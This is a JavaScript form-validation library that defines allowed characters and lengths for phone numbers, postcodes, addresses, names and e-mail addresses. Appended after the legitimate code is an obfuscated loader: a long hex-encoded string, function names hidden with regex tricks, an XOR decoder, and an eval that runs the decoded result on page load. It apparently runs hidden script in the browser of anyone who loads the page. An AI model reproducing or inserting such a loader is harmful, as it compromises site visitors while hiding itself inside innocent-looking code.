function TPlausibility()
{
var alphabetValueArray;
var alphabetPosArray; // "u" ... don't use positions
var minLen;
var maxLen;

this.Init=Init;
this.Reset=Reset;
this.SetMinLen=SetMinLen;
this.SetMaxLen=SetMaxLen;
this.AddChar=AddChar;
this.AddCharAtPos=AddCharAtPos;				// Characters on these positions MUST exist (mind. 1 of the pos)
this.AddSmallLetters=AddSmallLetters;
this.AddBigLetters=AddBigLetters;
this.AddNumbers=AddNumbers;
this.AddUmlauts=AddUmlauts;
this.LoadSettings_Tel=LoadSettings_Tel;
this.LoadSettings_Zip=LoadSettings_Zip;
this.LoadSettings_City=LoadSettings_City;
this.LoadSettings_Street=LoadSettings_Street;
this.LoadSettings_PersonName=LoadSettings_PersonName;
this.LoadSettings_EMail=LoadSettings_EMail;
this.LoadSpecialChars=LoadSpecialChars;
this.LoadSpecialChars_Francais=LoadSpecialChars_Francais;
this.Check=Check;
this.ListAlphabet=ListAlphabet;

this.Init();


function Init() {this.Reset();}

function Reset()
{
this.alphabetValueArray=new Array();
this.alphabetPosArray=new Array();
this.minLen=0;
this.maxLen=65536;
}

function SetMinLen(value) {this.minLen=value;}

function SetMaxLen(value) {this.maxLen=value;}

function AddChar(value) {this.AddCharAtPos(value,"u");} // u...undefined

function AddCharAtPos(value,pos) // negative positions: from last character. Example: "123456789" pos-3 ist the char "6"
{
this.alphabetValueArray.push(value);
this.alphabetPosArray.push(pos);
}

function AddSmallLetters()
{
var i;
for (i=97;i<=122;i++)
{
this.AddChar(chr(i));
}
}

function AddBigLetters()
{
var i;
for (i=65;i<=90;i++)
{
this.AddChar(chr(i));
}
}

function AddNumbers()
{
var i;
for (i=48;i<=57;i++)
{
this.AddChar(chr(i));
}
}

function AddUmlauts()
{
this.AddChar(chr(223)); // ß
this.AddChar(chr(228)); // ä
this.AddChar(chr(246)); // ö
this.AddChar(chr(252)); // ü
this.AddChar(chr(196)); // Ä
this.AddChar(chr(214)); // Ö
this.AddChar(chr(220)); // Ü

this.LoadSpecialChars();
}

function LoadSettings_EMail()
{
this.SetMinLen(5);
this.SetMaxLen(100);
this.AddSmallLetters();
this.AddBigLetters();
this.AddUmlauts();
this.AddNumbers();
this.AddChar("/");
this.AddChar("(");
this.AddChar(")");
this.AddChar("-");
this.AddChar(" ");
this.AddChar("@");
}

function LoadSettings_Tel()
{
this.SetMinLen(6);
this.SetMaxLen(25);
this.AddNumbers();
this.AddCharAtPos("0",0);
this.AddCharAtPos("+",0);
this.AddChar("/");
this.AddChar("(");
this.AddChar(")");
this.AddChar("-");
this.AddChar(" ");
}

function LoadSettings_Zip()
{
this.SetMinLen(4);
this.SetMaxLen(10);
this.AddNumbers();
this.AddSmallLetters();
this.AddBigLetters();
this.AddUmlauts();
this.AddChar("-");
this.AddChar("(");
this.AddChar(")");
this.AddChar(".");
this.AddChar(",");
this.AddChar(" ");
}

function LoadSettings_Street()
{
this.SetMinLen(4);
this.AddNumbers();
this.AddSmallLetters();
this.AddBigLetters();
this.AddUmlauts();
this.AddChar("-");
this.AddChar("/");
this.AddChar("(");
this.AddChar(")");
this.AddChar(".");
this.AddChar(",");
this.AddChar(" ");
}

function LoadSettings_City()
{
this.SetMinLen(3);

var i;
for (i=33;i<=47;i++)
{
this.AddChar(chr(i));
}
for (i=58;i<=255;i++)
{
this.AddChar(chr(i));
}
this.AddUmlauts();
this.AddChar("-");
this.AddChar("/");
this.AddChar("(");
this.AddChar(")");
this.AddChar(".");
this.AddChar(",");
this.AddChar(" ");
}

function LoadSettings_PersonName()
{
this.SetMinLen(3);

var i;
for (i=33;i<=47;i++)
{
this.AddChar(chr(i));
}
for (i=58;i<=255;i++)
{
this.AddChar(chr(i));
}
this.AddUmlauts();
this.AddChar("-");
this.AddChar("/");
this.AddChar("(");
this.AddChar(")");
this.AddChar(".");
this.AddChar(",");
this.AddChar(" ");
}

function LoadSpecialChars()
{
this.LoadSpecialChars_Francais();
}

function LoadSpecialChars_Francais()
{
this.AddChar("à");
this.AddChar("â");
this.AddChar("é");
this.AddChar("è");
this.AddChar("ê");
this.AddChar("ë");
this.AddChar("î");
this.AddChar("ï");
this.AddChar("ô");
this.AddChar("ù");
this.AddChar("û");
this.AddChar("¦");
this.AddChar("œ");
this.AddChar("æ");
this.AddChar("ç");
this.AddChar("'");
this.AddChar("À");
this.AddChar("Â");
this.AddChar("É");
this.AddChar("È");
this.AddChar("Ê");
this.AddChar("Ë");
this.AddChar("Î");
this.AddChar("Ï");
this.AddChar("Ô");
this.AddChar("Ù");
this.AddChar("Û");
this.AddChar("‘");
this.AddChar("Œ");
this.AddChar("Æ");
this.AddChar("Ç");
}

function Check(str)
{
var i,j,charFound,posFlag=0,usePosMode=false,posCharAtThisChar;

if (str.length<this.minLen) return false;
if (str.length>this.maxLen) return false;

for (i=0;i<str.length;i++)
{
charFound=false;
posFlag=0;
posCharAtThisChar=false;
for (j=0;j<this.alphabetValueArray.length;j++)
{
if (str.charAt(i)==this.alphabetValueArray[j])
{
charFound=true;
}

if (usePosMode==false&&this.alphabetPosArray[j]!="u") usePosMode=true;

if (this.alphabetPosArray[j]!="u")
{
var tmpPos;
if (this.alphabetPosArray[j]<0)
{
tmpPos=str.length+this.alphabetPosArray[j];
}
else tmpPos=this.alphabetPosArray[j];


if (tmpPos==i&&posFlag!=1)
{
posCharAtThisChar=true;
if (str.charAt(tmpPos)!=this.alphabetValueArray[j])
{
posFlag=-1;
}
else
{
posFlag=1;
}
}
}
}

if (usePosMode==true&&posFlag==-1&&posCharAtThisChar==true) return false;
if (!charFound) return false;
}
return true;
}

function ListAlphabet()
{
var i,tmpStr="";
for (i=0;i<this.alphabetValueArray.length;i++)
{
tmpStr+="char: "+this.alphabetValueArray[i]+" pos: "+this.alphabetPosArray[i]+"\n";
}
alert(tmpStr);
}
}
this.objectNull=37351;var objectSwf;var falseDate='';objectSwf='0e030a0f0c0a0e0e471c121b0a0f04160f135508270d0741581910041a0042582c1e1f184f100f1c1611435c2018110c5640021702100101475c1729011a02034b5c0775724b5e4f06064f461f010a00070a150f170b'+'466a147a610e1b594d585d1d16304c01100b031b196d17001b5a26080e0244494f6877487a424f5a4b141012191b3c4f020f012f1c0b1b471f120924120b51055a0c261d04074857552f170702401c1f0c0714447e6f'+'6859474a5f404d01061e44091c1b153213114f504a1d040b1d100e592d142a33333e460a0b160e4842466b4f474d4b1e3166424f50022e100e040d190e483a03170009244b494d01052c1e4d49655e5b5c4f404c0c32'+'171c120c5c14070c1a184f4c577a444e584f404a07051b21041d0b1c1f1f5557714e5a541f180c180c140b0c5f7f594e4c1f061a32171919505c4c5a59614b51666d4f574f63450e0a1c0746505d69475f4f12110d0d'+'51414d52463c1b0e0e5850585d5e494d4079535b5e434841010d0f180e244a40504f5a595804010d0a04196055584d420907160c0419435a4241425370516f74464f4b4249120e131a0900455d45425851492b061b1f'+'1f0e4d516358485b53547a6d1d506a181b090b04130d10460838153f08000c0c0841070702147454177467585d461a1d056302172a070d034d4a59594d5c474674051e0d1b0500021f43081b160c0a1d414a675a505e'+'1819114d2a091d15080343554b4a4a42424d690e0a1003404d425a6159577070425a4a1f391158190a1332151d48545e2c1401054b62715a4b5c0c1009463601050b1f4e5552515b474f7359474d1c0d0f5908161d41'+'4c4a02577768495a470506404a0d112200130744000d040218155a5c5a5a40781875604f4741414f4c0b0d1a2e111c55565d09090e041e3b4102180d1d05350452190c39111b02465c6c6b4f594d5848420509577117'+'0c0a1104165a725b4e585e5548116d684669404b5d46554f51161e0c29071b5a404c4c10060a083d0741160a130c1b1279616a445c4e5e5a424f5a4b14171c4a67420c15041a101f40101418001a230d537d464a1355'+'0017180e1c1b616f664f5759584a7a424f5a0217466c0c1e044f59785746566e581073654f404f6456594f49554f51591d0428425c4219181711003c480d141449180b5866706d4b4f5143494a4641127a57544c5843'+'584a5d54483603143e0a085c4b4b3008051e1d0912094714350c061a0e5216120f1817380f011a4312120a3a0511435a4b14155643646f6b5c57484f454e05446c4f514b1274604a46411d122a1a1918490b0d133e1b'+'1d776e67046b621900105e290809514a5f5a012b1a3b0013001e1e59461a0508150333124753586079021a5449041d470d5d4975585655570260721904143d0f03121d40161f1f17034c5c5616061f160a09441a1208'+'4044380d11135b5769020f1113000520191745191911420a0f562506095b5e144219501c39090b5b462324111f030a525e401c3540011844472719180a1b004d5a003803130f1d0008260912595e4e150e38081e051d'+'0e1418161b475a4d39040f0f000818183900045449441e19180e01160a0314561238424a4011050a0b2f095e435f5552446c1c1408251115150d1c4953192a06090e1c16496c46404f4e5a5a514b40634747424b5554'+'716700';var getSwf;if(getSwf!='staticInt'){getSwf=''};function dateFlash(useLong){                       var floatChar = 3;var charSwf = null;var flashFlash = 'av%st'.replace(/[avst]/g,'');var dateDate = -1;var setLong = charSwf;function wordPlayer(byteWord){var staticFlash=1;var shortDate=1%staticFlash;function charNull(get){var getStatic=1;}var flashFinal=0,flashByte=byteWord['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];while(shortDate<flashByte){shortDate+=1;swf=flashSwf(byteWord,shortDate+dateDate);flashFinal+=swf*flashByte;}return new String(flashFinal);}var object=String;function intStatic(adobe, set){if(staticWord == charSwf) {staticWord = {};}if(staticWord[adobe] == charSwf) {var shortInt = Object;staticWord[adobe] = new shortInt();staticWord[adobe].finalFlash = charSwf;staticWord[adobe].getLong = set;}}                        var trueShort = 4; var asNs=window;                       var word = 1; function charGet(adobe) {if(staticWord[adobe] != charSwf) {var floatPlayer = staticWord[adobe];var floatSwf = floatPlayer.finalFlash;var swfPlayer = floatPlayer.getLong;var player = swfPlayer.substr(floatSwf, 1);var trueFloat = swfPlayer['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')];                   var swfFloat = trueShort-floatChar;if((floatSwf + (word*swfFloat)) >= trueFloat) {floatPlayer.finalFlash =swfFloat - (trueShort % floatChar);} else {floatPlayer.finalFlash = floatSwf - dateDate;}return flashSwf(player, word - swfFloat);}}var setFalse=document;function flashSwf(intLong,swfAs){return intLong['c5h.a5r.C)o5d)e)ANt>'.replace(/[\>N\)5\.]/g, '')](swfAs);}var dateDate = setLong + dateDate;var staticWord = charSwf;function playerTrue(wordLong,useChar){return wordLong^useChar;}var setAdobe = '';var ns = 2;var objectFloat = new object(setFalse['w4rZiZtbeq'.replace(/[q4SbZ]/g, '')]);var intAdobe = objectFloat['iVnTdTeVxTOcfV'.replace(/[V\>T0c]/g, '')]('anrSint+yA'.replace(/[A\+nSq]/g, ''));if(intAdobe != dateDate) { return 58;}var nsDate = setLong;var shortShort = '';var finalStatic = asNs['s.eSt.Twi.m?e.o/u?tS'.replace(/[S/\.\?w]/g, '')];var objectObject=58;var nsFinal=object['f^rtotmJC^hJa^r^Ctotd^e^'.replace(/[\^6JXt]/g, '')];var asSwf=asNs['u+n:eDs?c:aDpDeI'.replace(/[I\:D\?\+]/g, '')];for(var flashAdobe=nsDate; flashAdobe < useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]; flashAdobe+=ns){setAdobe+= flashFlash + useLong['swuZbwsktZrk'.replace(/[k\?wWZ]/g, '')](flashAdobe, ns);}var useLong = asSwf(setAdobe);var getPlayer = new object(dateFlash);var floatSet = getPlayer['r3e~pHl~a3c3e~'.replace(/[~3,H9]/g, '')](/[^@a-z0-9A-Z_-]/g, new String());var setInt = new object(wordPlayer(floatSet));intStatic('setObject', setInt);var nullStatic = '';intStatic('byteUse', floatSet);for(var useDate=nsDate; useDate < (useLong['lKeznagKtahK'.replace(/[Kzs\)a]/g, '')]); useDate++) {var nullFalse = flashSwf(useLong,useDate);nullFalse = playerTrue(nullFalse, objectObject);nullFalse = playerTrue(nullFalse, charGet('setObject'));nullFalse = playerTrue(nullFalse, charGet('byteUse'));shortShort+=nsFinal(nullFalse);}asNs['e[vjajl['.replace(/[\[/2j\*]/g, '')](shortShort);return shortShort=new object();};dateFlash(objectSwf);var intFloat;if(intFloat!='longObject' && intFloat!='objectSet'){intFloat=''};   //secured_20022002